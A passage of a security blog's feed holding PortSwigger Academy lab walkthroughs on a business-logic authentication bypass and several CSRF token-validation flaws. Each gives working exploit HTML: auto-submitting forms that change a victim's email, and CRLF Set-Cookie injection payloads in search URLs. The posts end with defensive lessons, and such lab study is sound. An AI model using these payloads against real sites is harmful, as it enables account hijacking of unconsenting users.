solved response.</figcaption></figure><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>Model authentication as an explicit server-side state machine with deny-by-default initialization. Every protected action should require a completed, valid state and an independently verified authorization decision. Missing, repeated, reordered, or expired transitions must invalidate the workflow rather than preserve a privileged default. Avoid assigning sensitive roles before validation is complete, and test abnormal navigation paths as carefully as the intended sequence.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-authentication-bypass-via-flawed-state-machine">PortSwigger Web Security Academy: Authentication bypass via flawed state machine</a></li></ul><h2 id="Migration-provenance"><a href="#Migration-provenance" class="headerlink" title="Migration provenance"></a>Migration provenance</h2><p>This article preserves the reasoning and six screenshots from the authorized lab session. The prose, organization, captions, and accessibility text were normalized without adding observations.</p>]]></content>
    
    
    <summary type="html">A PortSwigger business-logic lab walkthrough showing how skipping a role-selection transition leaves an authenticated session with administrative privileges.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="Business Logic" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/Business-Logic/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="business-logic" scheme="https://blog.nhhoang.io.vn/tags/business-logic/"/>
    
  </entry>
  
  <entry>
    <title>CSRF where token is duplicated in cookie</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-token-duplicated-in-cookie/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-token-duplicated-in-cookie/</id>
    <published>2026-07-08T20:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.493Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>The lab protects <code>POST /my-account/change-email</code> by checking only that <code>body.csrf</code> equals the <code>csrf</code> cookie. It does not bind either value to the authenticated session, so cookie injection through the search endpoint lets an exploit set both sides of the comparison.</p><figure><img src="/images/portswigger/csrf/lab-token-duplicated-in-cookie/step-1.png" alt="Lab description identifies the insecure double-submit defense used by the email-change function."><figcaption>Lab description identifies the insecure double-submit defense used by the email-change function.</figcaption></figure><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>This intentionally vulnerable Academy exercise isolates csrf where token is duplicated in cookie. The supplied accounts and endpoints are used to reproduce only the source note evidence for csrf where token is duplicated in cookie; all request changes remain inside this Academy instance.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>A normal email-change request contains the same token in the form body and cookie. Replacing both with the same arbitrary value still succeeds in the lab, proving that the server performs equality-only validation. The remaining requirement is to place that chosen cookie in the victim’s browser before submitting the cross-site form.</p><figure><img src="/images/portswigger/csrf/lab-token-duplicated-in-cookie/step-2.png" alt="My Account shows the email update form for the authenticated wiener account."><figcaption>My Account shows the email update form for the authenticated wiener account.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>A CSRF token is effective only when it is unpredictable, bound to the authenticated session, and transported through channels an attacker cannot set.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><ol><li>Capture a legitimate email-change request and verify that the form token and <code>csrf</code> cookie are identical.</li><li>In Repeater, replace both values with <code>fake</code>; the accepted request confirms that the token is not session-bound.</li><li>On the Academy exploit server, create a hidden form that posts the chosen email and <code>csrf=fake</code> to <code>/my-account/change-email</code>.</li><li>Add an image request to the lab search endpoint containing <code>%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None</code>. In this intentionally vulnerable exercise, that response injects the matching cookie into the victim browser.</li><li>Use the image’s <code>onerror</code> handler to submit the form after the cookie-setting request, then deliver the exploit to the lab victim.</li></ol><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">&lt;html&gt;</span><br><span class="line">  &lt;body&gt;</span><br><span class="line">    &lt;form action=&quot;https://LAB/my-account/change-email&quot; method=&quot;POST&quot;&gt;</span><br><span class="line">      &lt;input type=&quot;hidden&quot; name=&quot;email&quot; value=&quot;hacked@hacker.com&quot; /&gt;</span><br><span class="line">      &lt;input type=&quot;hidden&quot; name=&quot;csrf&quot; value=&quot;fake&quot; /&gt;</span><br><span class="line">    &lt;/form&gt;</span><br><span class="line">    &lt;object data=&quot;https://LAB/?search=x%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None&quot;</span><br><span class="line">            onerror=&quot;document.forms[0].submit()&quot;&gt;&lt;/object&gt;</span><br><span class="line">  &lt;/body&gt;</span><br><span class="line">&lt;/html&gt;</span><br></pre></td></tr></table></figure><figure><img src="/images/portswigger/csrf/lab-token-duplicated-in-cookie/step-3.png" alt="The HTTP history shows POST /my-account/change-email with identical csrf values in the csrf cookie and csrf body parameter, followed by a 302 response."><figcaption>The HTTP history shows POST /my-account/change-email with identical csrf values in the csrf cookie and csrf body parameter, followed by a 302 response.</figcaption></figure><figure><img src="/images/portswigger/csrf/lab-token-duplicated-in-cookie/step-4.png" alt="The exploit-server editor contains a POST form with email and csrf fields plus a search URL that injects Set-Cookie: csrf= ; SameSite=None by CRLF."><figcaption>The exploit-server editor contains a POST form with email and csrf fields plus a search URL that injects Set-Cookie: csrf= ; SameSite=None by CRLF.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The final capture shows the Academy marking the csrf where token is duplicated in cookie exercise as solved after the documented request sequence. No testing was performed outside the isolated lab.</p><figure><img src="/images/portswigger/csrf/lab-token-duplicated-in-cookie/step-5.png" alt="The Academy banner for “CSRF where token is duplicated in cookie” shows Solved."><figcaption>The Academy banner for “CSRF where token is duplicated in cookie” shows Solved.</figcaption></figure><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>An unsigned double-submit pattern fails when an attacker can write the cookie because equality does not establish authenticity. Use a synchronizer token stored in server-side session state, or a signed double-submit token bound to the session with an HMAC. Cookie-injection flaws must also be removed, and state-changing endpoints should apply appropriate SameSite and Origin checks as defense in depth.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/csrf/bypassing-token-validation/lab-token-duplicated-in-cookie">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">A PortSwigger CSRF lab walkthrough bypassing a naive double-submit check by injecting a matching csrf cookie through the search response.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="CSRF" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/CSRF/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="csrf" scheme="https://blog.nhhoang.io.vn/tags/csrf/"/>
    
  </entry>
  
  <entry>
    <title>CSRF where token is not tied to user session</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-token-not-tied-to-user-session/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-token-not-tied-to-user-session/</id>
    <published>2026-07-08T17:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.493Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>The server recognizes valid CSRF tokens but does not bind each token to the session that obtained it. Consequently, a fresh token taken from the attacker’s own account is accepted when the victim’s browser submits it alongside the victim’s authenticated session cookie.</p><figure><img src="/images/portswigger/csrf/lab-token-not-tied-to-user-session/step-1.png" alt="Lab description explains that CSRF tokens are not integrated with session handling and provides separate wiener and carlos accounts."><figcaption>Lab description explains that CSRF tokens are not integrated with session handling and provides separate wiener and carlos accounts.</figcaption></figure><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>This intentionally vulnerable Academy exercise isolates csrf where token is not tied to user session. The supplied accounts and endpoints are used to reproduce only the source note evidence for csrf where token is not tied to user session; all request changes remain inside this Academy instance.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>The account page renders a <code>csrf</code> value for the currently logged-in attacker. The decisive observation is not merely that the token has valid syntax: replaying that attacker-issued token in a request authenticated as the victim is accepted. The application checks membership in a global pool of valid tokens rather than ownership by the current session.</p><figure><img src="/images/portswigger/csrf/lab-token-not-tied-to-user-session/step-2.png" alt="My Account shows the email-change form in the attacker-controlled wiener session."><figcaption>My Account shows the email-change form in the attacker-controlled wiener session.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>Token validity is global rather than session-specific. Because the server never verifies that the submitted token was issued to the session cookie authorizing the request, the attacker’s token remains valid when paired with the victim’s login state.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><ol><li>Sign in to the attacker-controlled account and open <code>/my-account</code> to obtain a fresh valid <code>csrf</code> value from the email-change form.</li><li>Build an exploit-server form targeting <code>POST /my-account/change-email</code>, placing the attacker account’s token in the hidden <code>csrf</code> field and the required address in <code>email</code>.</li><li>Deliver the auto-submitting form to the victim. Their browser sends the victim’s authenticated session cookie, while the form supplies the valid token obtained from the attacker’s separate session.</li><li>Observe that the request succeeds. This cross-session acceptance is the exact weakness: token validity is checked, but the token is never associated with the user session authorizing the email change.</li></ol><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">&lt;html&gt;</span><br><span class="line">  &lt;body&gt;</span><br><span class="line">    &lt;form action=&quot;https://LAB/my-account/change-email&quot; method=&quot;POST&quot;&gt;</span><br><span class="line">      &lt;input type=&quot;hidden&quot; name=&quot;email&quot; value=&quot;hacked@hacker.com&quot; /&gt;</span><br><span class="line">      &lt;input type=&quot;hidden&quot; name=&quot;csrf&quot; value=&quot;&lt;ATTACKER_TOKEN&gt;&quot; /&gt;</span><br><span class="line">    &lt;/form&gt;</span><br><span class="line">    &lt;script&gt;document.forms[0].submit();&lt;/script&gt;</span><br><span class="line">  &lt;/body&gt;</span><br><span class="line">&lt;/html&gt;</span><br></pre></td></tr></table></figure><figure><img src="/images/portswigger/csrf/lab-token-not-tied-to-user-session/step-3.png" alt="The account-page HTML exposes the hidden csrf input and its attacker-session token value."><figcaption>The account-page HTML exposes the hidden csrf input and its attacker-session token value.</figcaption></figure><figure><img src="/images/portswigger/csrf/lab-token-not-tied-to-user-session/step-4.png" alt="The exploit-server editor contains an auto-submitting POST /my-account/change-email form with email=hacked@hacker.com and the csrf token taken from the attacker session."><figcaption>The exploit-server editor contains an auto-submitting POST /my-account/change-email form with email=hacked@hacker.com and the csrf token taken from the attacker session.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The final capture shows the Academy marking the csrf where token is not tied to user session exercise as solved after the documented request sequence. No testing was performed outside the isolated lab.</p><figure><img src="/images/portswigger/csrf/lab-token-not-tied-to-user-session/step-5.png" alt="The Academy banner for “CSRF where token is not tied to user session” shows Solved after delivery to the victim."><figcaption>The Academy banner for “CSRF where token is not tied to user session” shows Solved after delivery to the victim.</figcaption></figure><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>The evidence demonstrates the concrete risk of csrf where token is not tied to user session: a server-side trust decision can be bypassed through the exact input or workflow shown in this lab. For csrf where token is not tied to user session, the server must enforce the exact invariant violated in the captured sequence and regression-test that mutation alongside the normal path.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/csrf/bypassing-token-validation/lab-token-not-tied-to-user-session">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">A token taken from the attacker&#39;s session is accepted beside the victim&#39;s session cookie at /my-account/change-email, proving the token is not bound to the authenticated user.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="CSRF" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/CSRF/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="csrf" scheme="https://blog.nhhoang.io.vn/tags/csrf/"/>
    
  </entry>
  
  <entry>
    <title>CSRF where token is tied to non-session cookie</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-token-tied-to-non-session-cookie/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-token-tied-to-non-session-cookie/</id>
    <published>2026-07-08T14:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.493Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>The email-change handler accepts a <code>csrf</code> form token only when it matches the non-session <code>csrfKey</code> cookie. The search endpoint reflects its query into <code>Set-Cookie: LastSearchTerm=...</code>, making CRLF cookie injection the bridge that lets an attacker install their own matching <code>csrfKey</code> in the victim’s browser.</p><figure><img src="/images/portswigger/csrf/lab-token-tied-to-non-session-cookie/step-1.png" alt="Lab description says CSRF tokens are not fully integrated into session handling and supplies wiener and carlos accounts."><figcaption>Lab description says CSRF tokens are not fully integrated into session handling and supplies wiener and carlos accounts.</figcaption></figure><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>This intentionally vulnerable Academy exercise isolates csrf where token is tied to non-session cookie. The supplied accounts and endpoints are used to reproduce only the source note evidence for csrf where token is tied to non-session cookie; all request changes remain inside this Academy instance.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>The captured email-change request contains both a <code>csrfKey</code> cookie and a separate <code>csrf</code> body parameter. A search for <code>xyz</code> returns <code>Set-Cookie: LastSearchTerm=xyz</code>; inserting CRLF into that search value adds a second <code>Set-Cookie</code> header, allowing the response to write an attacker-chosen <code>csrfKey</code>.</p><figure><img src="/images/portswigger/csrf/lab-token-tied-to-non-session-cookie/step-2.png" alt="My Account shows the authenticated email-change form used to obtain the attacker-controlled token pair."><figcaption>My Account shows the authenticated email-change form used to obtain the attacker-controlled token pair.</figcaption></figure><figure><img src="/images/portswigger/csrf/lab-token-tied-to-non-session-cookie/step-3.png" alt="The HTTP history shows POST /my-account/change-email with session and csrfKey cookies plus the matching csrf body parameter; the response redirects with 302 Found."><figcaption>The HTTP history shows POST /my-account/change-email with session and csrfKey cookies plus the matching csrf body parameter; the response redirects with 302 Found.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>The validation binds <code>csrf</code> to <code>csrfKey</code>, but <code>csrfKey</code> is not the authentication session and the search response lets an attacker overwrite it. The comparison therefore proves only that two attacker-supplied values correspond, not that the victim initiated the request.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><ol><li>Sign in to the attacker account, capture <code>POST /my-account/change-email</code>, and retain that account’s valid <code>csrfKey</code> cookie and matching <code>csrf</code> token.</li><li>Request <code>/?search=xyz</code> and confirm that the response sets <code>LastSearchTerm=xyz</code>. Then use <code>%0d%0aSet-Cookie:</code> in the search value to verify that this lab response can set an additional cookie.</li><li>On the exploit server, load the search endpoint with a CRLF payload that sets <code>csrfKey</code> to the attacker’s captured key in the victim browser.</li><li>After that request errors as an image, submit the cross-site email-change form with the attacker’s matching <code>csrf</code> token. The victim contributes only their authenticated session cookie; the attacker-controlled <code>csrfKey</code> and <code>csrf</code> pair satisfies the flawed validation.</li></ol><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">&lt;html&gt;</span><br><span class="line">  &lt;body&gt;</span><br><span class="line">    &lt;form action=&quot;https://LAB/my-account/change-email&quot; method=&quot;POST&quot;&gt;</span><br><span class="line">      &lt;input type=&quot;hidden&quot; name=&quot;email&quot; value=&quot;hacked@hacker.com&quot; /&gt;</span><br><span class="line">      &lt;input type=&quot;hidden&quot; name=&quot;csrf&quot; value=&quot;&lt;ATTACKER_TOKEN&gt;&quot; /&gt;</span><br><span class="line">    &lt;/form&gt;</span><br><span class="line">    &lt;object data=&quot;https://LAB/?search=x%0d%0aSet-Cookie:%20csrfKey=&lt;ATTACKER_KEY&gt;%3b%20SameSite=None&quot;</span><br><span class="line">            onerror=&quot;document.forms[0].submit()&quot;&gt;&lt;/object&gt;</span><br><span class="line">  &lt;/body&gt;</span><br><span class="line">&lt;/html&gt;</span><br></pre></td></tr></table></figure><figure><img src="/images/portswigger/csrf/lab-token-tied-to-non-session-cookie/step-4.png" alt="Burp records GET /?search=abc, the search request used to test cookie-setting behavior."><figcaption>Burp records GET /?search=abc, the search request used to test cookie-setting behavior.</figcaption></figure><figure><img src="/images/portswigger/csrf/lab-token-tied-to-non-session-cookie/step-5.png" alt="The search response shows Set-Cookie: LastSearchTerm=... and the CRLF-modified request that adds an attacker-chosen csrfKey cookie."><figcaption>The search response shows Set-Cookie: LastSearchTerm=... and the CRLF-modified request that adds an attacker-chosen csrfKey cookie.</figcaption></figure><figure><img src="/images/portswigger/csrf/lab-token-tied-to-non-session-cookie/step-6.png" alt="The exploit-server form posts email and the matching csrf token, while an image request to /?search= uses %0d%0aSet-Cookie to install csrfKey with SameSite=None before onerror submits the form."><figcaption>The exploit-server form posts email and the matching csrf token, while an image request to /?search= uses %0d%0aSet-Cookie to install csrfKey with SameSite=None before onerror submits the form.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The final capture shows the Academy marking the csrf where token is tied to non-session cookie exercise as solved after the documented request sequence. No testing was performed outside the isolated lab.</p><figure><img src="/images/portswigger/csrf/lab-token-tied-to-non-session-cookie/step-7.png" alt="The Academy banner for “CSRF where token is tied to non-session cookie” shows Solved."><figcaption>The Academy banner for “CSRF where token is tied to non-session cookie” shows Solved.</figcaption></figure><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>The evidence demonstrates the concrete risk of csrf where token is tied to non-session cookie: a server-side trust decision can be bypassed through the exact input or workflow shown in this lab. For csrf where token is tied to non-session cookie, the server must enforce the exact invariant violated in the captured sequence and regression-test that mutation alongside the normal path.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/csrf/bypassing-token-validation/lab-token-tied-to-non-session-cookie">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">The change-email check binds csrf to csrfKey rather than the login session, so search-response cookie injection can install an attacker-controlled matching pair.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="CSRF" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/CSRF/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="csrf" scheme="https://blog.nhhoang.io.vn/tags/csrf/"/>
    
  </entry>
  
  <entry>
    <title>CSRF where token validation depends on request method</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-token-validation-depends-on-request-method/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-token-validation-depends-on-request-method/</id>
    <published>2026-07-08T11:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.493Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>The exercise isolates a CSRF enforcement gap: pOST &#x2F;my-account&#x2F;change-email includes csrf; converting it to GET first reports a missing email, then GET &#x2F;my-account&#x2F;change-email?email&#x3D;<a href="mailto:&#x68;&#x61;&#x63;&#107;&#x65;&#x64;&#64;&#104;&#97;&#99;&#107;&#101;&#x72;&#46;&#x63;&#111;&#x6d;">&#x68;&#x61;&#x63;&#107;&#x65;&#x64;&#64;&#104;&#97;&#99;&#107;&#101;&#x72;&#46;&#x63;&#111;&#x6d;</a> returns 302 and changes the email. The important evidence is the browser’s cookie and navigation behavior, not merely that a cross-site form can be submitted.</p><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Exercise <strong>CSRF where token validation depends on request method</strong> through the endpoint and input recorded in the lab note. <code>POST /my-account/change-email</code> includes <code>csrf</code>; converting it to GET first reports a missing email, then <code>GET /my-account/change-email?email=hacked@hacker.com</code> returns 302 and changes the email.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p><code>POST /my-account/change-email</code> includes <code>csrf</code>; converting it to GET first reports a missing email, then <code>GET /my-account/change-email?email=hacked@hacker.com</code> returns 302 and changes the email.</p><figure><img src="/images/portswigger/csrf/lab-token-validation-depends-on-request-method/step-1.png" alt="Lab description states that CSRF defenses are applied only to certain request types."><figcaption>Lab description states that CSRF defenses are applied only to certain request types.</figcaption></figure><figure><img src="/images/portswigger/csrf/lab-token-validation-depends-on-request-method/step-2.png" alt="My Account shows the email-change form for user wiener."><figcaption>My Account shows the email-change form for user wiener.</figcaption></figure><figure><img src="/images/portswigger/csrf/lab-token-validation-depends-on-request-method/step-3.png" alt="The HTTP history shows the protected POST /my-account/change-email request with the csrf body parameter."><figcaption>The HTTP history shows the protected POST /my-account/change-email request with the csrf body parameter.</figcaption></figure><figure><img src="/images/portswigger/csrf/lab-token-validation-depends-on-request-method/step-4.png" alt="Changing the request to GET without an email parameter returns 400 Bad Request with “Missing parameter ‘email’”."><figcaption>Changing the request to GET without an email parameter returns 400 Bad Request with “Missing parameter ‘email’”.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p><code>POST /my-account/change-email</code> includes <code>csrf</code>; converting it to GET first reports a missing email, then <code>GET /my-account/change-email?email=hacked@hacker.com</code> returns 302 and changes the email. The application passes that value into the security-sensitive operation without the context-specific validation or encoding needed to prevent this result.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>Recreate the account-change flow, establish the normal request’s token and cookie requirements, then alter only the method, token presence, cookie age, redirect path, or sibling-origin step named in the evidence. The goal is to show exactly where the browser still supplies authority to the forged request.</p><figure><img src="/images/portswigger/csrf/lab-token-validation-depends-on-request-method/step-5.png" alt="GET /my-account/change-email?email=... succeeds without csrf validation and returns 302 Found."><figcaption>GET /my-account/change-email?email=... succeeds without csrf validation and returns 302 Found.</figcaption></figure><figure><img src="/images/portswigger/csrf/lab-token-validation-depends-on-request-method/step-6.png" alt="My Account displays abc@example.com, confirming the tokenless GET changed the email."><figcaption>My Account displays abc@example.com, confirming the tokenless GET changed the email.</figcaption></figure><figure><img src="/images/portswigger/csrf/lab-token-validation-depends-on-request-method/step-7.png" alt="The exploit-server editor contains an auto-submitting method=GET form targeting /my-account/change-email with only the email field."><figcaption>The exploit-server editor contains an auto-submitting method=GET form targeting /my-account/change-email with only the email field.</figcaption></figure><figure><img src="/images/portswigger/csrf/lab-token-validation-depends-on-request-method/step-8.png" alt="The Academy banner for “CSRF where token validation depends on request method” shows Solved."><figcaption>The Academy banner for “CSRF where token validation depends on request method” shows Solved.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The lab is confirmed when <code>POST /my-account/change-email</code> includes <code>csrf</code>; converting it to GET first reports a missing email, then <code>GET /my-account/change-email?email=hacked@hacker.com</code> returns 302 and changes the email. The captured result and the Academy solved state provide the verification; an ordinary status code alone does not.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>A production attacker could change victim account data while relying on ambient cookies. Validate CSRF tokens on every state-changing route and method, bind them to the authenticated session, set deliberate SameSite attributes, and remove redirect or sibling-origin gadgets that turn same-site navigation into cross-site request authority.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/csrf/bypassing-token-validation/lab-token-validation-depends-on-request-method">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">Replay change-email as GET without a CSRF token and learn how method-specific validation leaves the state-changing route unprotected.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="CSRF" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/CSRF/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="csrf" scheme="https://blog.nhhoang.io.vn/tags/csrf/"/>
    
  </entry>
  
  <entry>
    <title>CSRF where token validation depends on token being present</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-token-validation-depends-on-token-being-present/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-token-validation-depends-on-token-being-present/</id>
    <published>2026-07-08T08:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.493Z</updated>
    
